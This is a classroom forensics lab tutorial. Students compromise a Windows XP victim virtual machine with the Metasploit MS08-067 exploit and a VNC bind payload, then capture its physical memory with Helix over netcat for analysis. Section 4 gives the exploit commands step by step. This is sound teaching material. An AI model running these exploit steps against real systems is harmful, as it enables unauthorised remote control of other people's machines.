ComputerSecurityStudent (CSS) [Login] [Join Now]




|FORENSICS >> HELIX >> Current Page |Views: 10812

(Helix: Lesson 5)

{ Dump Window's Physical Memory During Metasploit Session  }


Section 0. Background Information
  • Helix3 is a Live CD built on top of Ubuntu. It focuses on incident response and computer forensics. According to Helix3 Support Forum, e-fense is no longer planning on updating the free version of Helix.
  • See http://www.e-fense.com/products.php

 

 

Section 1. Start Up BackTrack Machine
 
  1. Booting up BackTrack5R1
    • Instructions:
      1. Start up VMware Player
      2. Select BackTrack5R1
      3. Play Virtual Machine
    • Note:
      • For those of you that are not part of my class, this can be any BackTrack or Ubuntu machine.
      • It needs to have the Volatility 2.0 Framework.
      • If you do not have the Volatility 2.0 Framework please complete this lab.  (Click Here)

     

  2. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window

     

  3. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Notes:
      • This will be the machine that the Victim's Memory Image will be sent to.

     

  4. Start Up Netcat on BackTrack
    • Instructions:
      1. mkdir -p /var/forensics/images/WV01_MS08067_VNC/
      2. cd /var/forensics/images/WV01_MS08067_VNC
      3. nc -l -vvv -p 8888 > WV01_VNC.dd
        • Netcat will listen for Helix to send the Memory Image from the Victim Machine.
      4. Continue to next step.

 

Section 2. Start Up Windows Machine
  1. Booting up WindowsVulerable01 (Victim Machine)
    • Instructions:
      1. Start up VMware Player
      2. Select WindowsVulerable01
      3. Play Virtual Machine
    • Note:
      • WindowsVulerable01 is a Windows XP machine running SP2.

     

  2. WindowsVulerable01 Authentication
    • Instructions:
      1. Login as administrator

 

Section 3. Start Up Notepad
  1. Start Up NotePad
    • Instructions:
      1. Start --> All Programs --> Accessories --> Notepad
    • Notes:
      • I started up Notepad as a reference point before the Metasploit was started.
     
  2. Start Up Command Prompt
    • Instructions:
      1. Start --> All Programs --> Accessories --> Command Prompt
      2. ipconfig
        • This is the victim IP Address.
        • In my case, it is 192.168.1.107

 

Section 4. Engage Metasploit MS08-067
  1. Start the Metasploit msfconsole
    • Instructions:
      1. Applications --> BackTrack --> Exploitation Tools --> Network Exploitation Tools --> Metasploit Framework --> msfconsole.

     

  2. Search and Use MS08-067 Exploit
    • Instructions:
      1. search ms08_067
      2. use exploit/windows/smb/ms08_067_netapi

     

  3. Set VNC Payload
    • Instructions:
      1. set PAYLOAD windows/vncinject/bind_tcp
      2. show options
    • Note:
      • Once exploited, BackTrack's VNC Connection on port 5900 will be connected to the Victim's port on 4444. 
      • We should be able to see this connection on the Victim's machine and as well in the memory dump.

     

  4. Set RHOST, which is the Victim's IP Address
    • Instructions:
      1. set RHOST 192.168.1.107
        • In my case, this is the IP Address of the Victim Machine.

     

  5. Issue the Exploit
    • Instructions:
      1. exploit

     

  6. On BackTrack's Screen
    • Note:
      • Now you should see a VNC session in BackTrack to the Victim Machine.

     

  7. On the Victim Screen
    • Note:
      • Now you should see a blue Metasploit Courtesy Shell command prompt on the Victim's machine.

     

  8. On the BackTrack Machine
    • Instructions:
      1. Go back to the BackTrack Machine.
      2. In the VNC Session, bring up Notepad. 
        • (Start --> Accessories --> NotePad)

     

  9. On the BackTrack Machine
    • Instructions:
      1. In Notepad, sign your name.
    • Proof of Lab Part 1
      1. After you sign your name, do and PrtScn and Paste into a word document.
      2. Wait until Proof of Lab Part 2 to upload to Moodle.

 

Section 5. Loading Helix2008R1
  1. Edit Virtual Machine Settings
    • Instructions:
      1. Virtual Machine --> Virtual Machine Settings...

     

  2. Configure Windows to load the Helix iso as a CD/DVD
    • Instructions
      1. Select CD/DVD (IDE)
      2. Select the Use ISO image file
      3. Browse to where you saved the Helix iso.
        • Note:  In my case, I saved it in the following location:
        • H:\BOOT ISO\Helix2008R1.iso

     

  3. Start Up My Computer
    • Instructions:
      1. Start --> My Computer

     

  4. Starting Helix
    • Instructions:
      1. Right Click on Helix2008R1
      2. Click on AutoPlay

     

  5. Boot Menu Selection
    • Command:
      1. Select CD-ROW Drive
      2. Press Enter

     

  6. Acquire Live Image (Part 1)
    • Instructions:
      1. Click on the Camera

     

  7. Acquire Live Image (Part 2)
    • Instructions:
      1. Source: Select Physical Memory
      2. Location Options: Select NetCat
      3. Destination IP: Use the IP Address you obtained in Section 1, Step 3.
      4. Port: 8888
      5. Click the Acquire Button

     

  8. Acquire Live Image (Part 3)
    • Instructions:
      1. Click Yes

     

  9. Acquire Live Image (Part 4)
    • Note:
      1. You will see a message that physical memory is being copied.
      2. The Black Screen will close once the copy process is finished.
      3. Wait until the copy process is finished before continuing.

     

  10. Before continue, Make sure the previous step is complete.
    • Instructions:
      1. On BackTrack, go to the terminal window where you started Netcat.
      2. cd /var/forensics/images/WV01_MS08067_VNC
      3. md5sum WV01_VNC.dd
      4. date
      5. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • E.g., echo "John Gray"
    • Proof of Lab Part 2
      1. Do a PrtScn
      2. Paste into the same word document as Part 1.
      3. Upload to Moodle.

     

  11. View Network Connections on the Victim Machine
    • Instructions:
      1. Go back to the Victim Machine
      2. Start --> Accessories --> Command Prompt
      3. netstat -nao
    • Note:
      • The highlighted line shows a connection on port 4444 on the Victim machine with a process ID of 1048.
      • Note, the PID might be different in your case.

 

Section: Proof of Lab
  1. Cut and Paste a screen shot found in Section 4, Step 9 and Section 5, Step 10 in a word and upload to Moodle. 

 



Help ComputerSecurityStudent
pay for continued research,
resources & bandwidth